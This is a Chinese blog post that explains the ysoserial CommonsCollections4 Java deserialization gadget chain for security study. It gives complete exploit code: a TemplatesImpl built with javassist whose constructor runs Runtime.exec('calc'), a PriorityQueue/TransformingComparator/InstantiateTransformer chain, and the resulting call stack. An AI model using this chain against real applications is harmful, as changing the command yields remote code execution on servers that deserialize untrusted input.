『Java安全』反序列化-CC4反序列化漏洞POP链分析_ysoserial CommonsCollections4 PoC分析_Ho1aAs的博客-程序员秘密

技术标签: # CommonsCollestions cc链  web安全  反序列化  cc4  java安全  ysoserial  

前言

同样的,CC4是CC2的变种,改变同CC3用的是InstantiateTransformer而不是InvokerTransformer触发

需要Commons-Collections4 4.0

代码复现

工具类

生成恶意TemplatesImpl:

TemplatesGeneratorPacked/GetAbstractTranslet.java

package TemplatesGeneratorPacked;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

public class GetAbstractTranslet {
    
    public static byte[] generate() throws Exception{
    
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("e");
        CtClass zuper = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(zuper);

        CtConstructor constructor = new CtConstructor(new CtClass[]{
    }, clazz);
        constructor.setBody("{Runtime.getRuntime().exec(\"calc\");}");
        clazz.addConstructor(constructor);

        return clazz.toBytecode();
    }
}

TemplatesGeneratorPacked/GetTemplatesImpl.java

package TemplatesGeneratorPacked;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import ReflectPacked.ValueGetterSetter;

public class GetTemplatesImpl {
    
    public static TemplatesImpl getTemplatesImpl() throws Exception{
    
        byte[][] bytes = new byte[][]{
    GetAbstractTranslet.generate()};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        ValueGetterSetter.setValue(templates, "_bytecodes", bytes);
        ValueGetterSetter.setValue(templates, "_name", "a");
        ValueGetterSetter.setValue(templates, "_tfactory", new TransformerFactoryImpl());

        return  templates;
    }
}


反射get/set:

ReflectPacked/ValueGetterSetter.java

package ReflectPacked;

import java.lang.reflect.Field;

public class ValueGetterSetter {
    
    public static void setValue(Object obj, String name, Object value) throws Exception{
    
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object getValue(Object obj, String name) throws Exception{
    
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        return field.get(obj);
    }
}


反序列化:

UnserializePacked.Unserialize.java

package UnserializePacked;

import java.io.*;

public class Unserialize {
    
    public static void unserialize(Object obj) throws Exception{
    
        File f = File.createTempFile("temp", "out");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
        oos.writeObject(obj);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
        Object o = ois.readObject();
        System.out.println(o);
        ois.close();

        f.deleteOnExit();
    }
}

PoC

package cc.cc4;

import ReflectPacked.ValueGetterSetter;
import TemplatesGeneratorPacked.GetTemplatesImpl;
import UnserializePacked.Unserialize;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.util.PriorityQueue;

public class PoC {
    
    public static void main(String[] args) throws Exception {
    
        Templates templates = GetTemplatesImpl.getTemplatesImpl();

        ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
                new Class[]{
    String.class},
                new Object[]{
    "a"}
        );

        ChainedTransformer chainedTransformer = new ChainedTransformer(
                constantTransformer,
                instantiateTransformer);

        TransformingComparator comparator = new TransformingComparator(chainedTransformer);

        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(1);

        ValueGetterSetter.setValue(constantTransformer, "iConstant", TrAXFilter.class);
        ValueGetterSetter.setValue(instantiateTransformer, "iParamTypes", new Class[]{
    Templates.class});
        ValueGetterSetter.setValue(instantiateTransformer, "iArgs", new Object[]{
    templates});

        Unserialize.unserialize(queue);
    }
}

代码审计 | 原理分析

思路是CC2和CC3的结合,这里只梳理流程

『Java安全』反序列化-CC2反序列化漏洞POP链分析_ysoserial CommonsCollections2 PoC分析
『Java安全』反序列化-CC3反序列化漏洞POP链分析_ysoserial CommonsCollections3 PoC分析

1. TrAXFilter构造器传入TemplatesImpl会调用newTransformer()

2. InstantiateTransformer.transform()调用指定的类构造器

3. TransformingComparator.compare()调用this.transformer.transform()

4. PriorityQueue反序列化调用comparator.compare()

POP链

newTransformer:439, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:57, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:526, Constructor (java.lang.reflect)
transform:116, InstantiateTransformer (org.apache.commons.collections4.functors)
transform:32, InstantiateTransformer (org.apache.commons.collections4.functors)
transform:112, ChainedTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:699, PriorityQueue (java.util)
siftDown:667, PriorityQueue (java.util)
heapify:713, PriorityQueue (java.util)
readObject:773, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1893, ObjectInputStream (java.io)
readOrdinaryObject:1798, ObjectInputStream (java.io)
readObject0:1350, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
unserialize:14, Unserialize (UnserializePacked)
main:40, PoC (cc.cc4)

欢迎关注我的程序员秘密 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123448990
版权声明:本文为原创,转载时须注明出处及本声明

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/Xxy605/article/details/123448990

智能推荐

微信小程序—两种方式实现上拉加载与下拉刷新_微信小程序上拉加载下一页_Afanbaby的博客-程序员秘密

在列表数据的时候,一般都会有分页,因为如果一次性都加载出来的话,会造成卡顿的现象,浪费用户的流量,所以就会有下拉刷新,上拉加载。这里我们介绍两种实现微信小程序的下拉刷新,上拉加载的实现方式:一、第一种实现方式: 1.官方文档:https://mp.weixin.qq.com/debug/wxadoc/dev/component/scroll-view.html?t=20161107通过scro

go里面几个不同的字符串连接符的效率测试_go 连接符_domorejojo的博客-程序员秘密

go里面几个不同的字符串连接符的效率测试标签(空格分隔): Golang在搞mysql的orm框架,在处理dsn时候,考虑字符串拼接。有很如下选择:直接用+strings.Joinstrings.Bandlefmt.Sprintf分别benchmark测试一下,直接上代码跑一下:func dsnJson (Username string, Password string, Ip string, Port int64, Dbname string) string { dsn := st

leetcode刷题总结 -- O(n)问题_刷题 最小交换_自由技艺的博客-程序员秘密

945使数组唯一的最小增量 [1 2 2] -&gt; [1 2 3]排序 + 贪心策略最佳观光组合max(A[i] + A[j] + i - j), i &lt; jdp[j] – 固定j时的得分;遍历j,记录[0, j - 1]中A[i] + i的最大值;爱生气的书店老板 – 窗口X内生气顾客总数, 找到生气顾客最多的窗口位置初始化[0, X -1]区间内生气客户数;滑动窗–用...

Objective-C-Category类别_weixin_33670713的博客-程序员秘密

Object-C开发的时候有的时候会用到Category类,类似于Java和C#中扩展类,就是如果你觉得如果你觉得常用的方法在String中没有,可以根据业务需求和个人喜好写一个扩展类,然后在其中补充自己的方法,如果单纯的扩展已有类型来看基本上是一样的。OC还有可以对已经存在类通过Category进行扩展,这个特点又和C#中的partial class有...

进程与线程、同步与异步、阻塞与非阻塞、并行与并发——概念盘点_酷爱挑战之王的博客-程序员秘密

讲这些概念之前,想首先说一下“电脑配置”这个问题。(1)硬件方面:CPU(中央处理器)、单核处理器、多核处理器、缓存(Cache)、内存 一台计算机中一般配置一个CPU,早期的计算机中一个CPU只包含一个内核(称为单核处理器),而目前的计算机中一个CPU一般都包含多个内核(称为多核处理器)。 缓存是指可以进行高速数据交换的存储器,它先于内存与CPU交换数据,...

Http error code 总结_临安初雨一夜落红的博客-程序员秘密

HTTP 1xx-信息提示 这些状态代码表示临时的响应。客户端在收到常规响应之前,应准备接收一个或多个1xx响应。 100-继续。 101-切换协议。 2xx-成功 这类状态代码表明服务器成功地接受了客户端请求。 200-确定。客户端请求已成功。 201-已创建。 202-已接受。 203-非权威性信息。 204-无内容。 205-重置内容。 206-部分内容。 3x...

随便推点

SpringBoot之属性配置文件详解_傅牧山的博客-程序员秘密

相信很多人选择Spring Boot主要是考虑到它既能兼顾Spring的强大功能,还能实现快速开发的便捷。我们在Spring Boot使用过程中,最直观的感受就是没有了原来自己整合Spring应用时繁多的XML配置内容,替代它的是在pom.xml中引入模块化的Starter POMs,其中各个模块都有自己的默认配置,所以如果不是特殊应用场景,就只需要在application.propertie

phaser小游戏框架学习(一)_ailong3046的博客-程序员秘密

这两天由于项目的需要,所以简单学了一下phaser框架。官网:http://phaser.io/还有一个phaser小站,是中文的网站,但是内容不如英文文档全,大家也可以去看这个网站,需要查阅API时,再去英文网站也可以 :https://www.phaser-china.com分享一下入门教程:http://club.phaser-china.com/topic/59899...

电子商务 账户表设计_设计电子商务产品组合:我的帐户页面_daique1908的博客-程序员秘密

与我们设计中的商店组件相关的最后一页是帐户页面。 在这里,您可以查看购买的商品,还可以编辑帐户详细信息。 我的帐户页面有用的资源 如果您想了解有关Sketch的更多信息或为电子商务设计,以下链接将为您提供帮助。 请记住 :您可以通过每月15美元的订阅费访问Envato Tuts +上的所有课程,也可以仅以5美元的价格单独购买每门课程! 关于Envato Tuts +的素描教程...

STM32F103C8T6 多个HAL库完整工程——RFID、WS2812、数码管、ADC、UART、GPIO_stm32f103c8例程__做个辣妹的博客-程序员秘密

多个HAL库完整工程,基于STM32F103C8T6:基于SPI的RFID读取、基于PWM+DMA控制WS2812、数码管、ADC、UART的printf重定向与接收数据解析、GPIO

STM32F103C8T6 HAL库——从零开始的制作平衡小车生活_stm32f103c8t6编码器测速hal库程序_Sol-itude的博客-程序员秘密

最近买了个平衡小车,为了圆我PID梦,买来玩玩,废话不多说,直接开搞我用的电机是TB6612FNG,想详细了解的话直接去搜手册,给他输出两路PWM还要两个引脚进行高低电平的转换就可以设置前进或者后退了,规则如下看一下引脚图吧引脚连接:下面开始配置CUBE首先是SYS:其次是时钟:下面开始引脚的设置:用定时器1,10Hz就够了生成:代码部分:main.hmain.c.........

推荐文章

热门文章

相关标签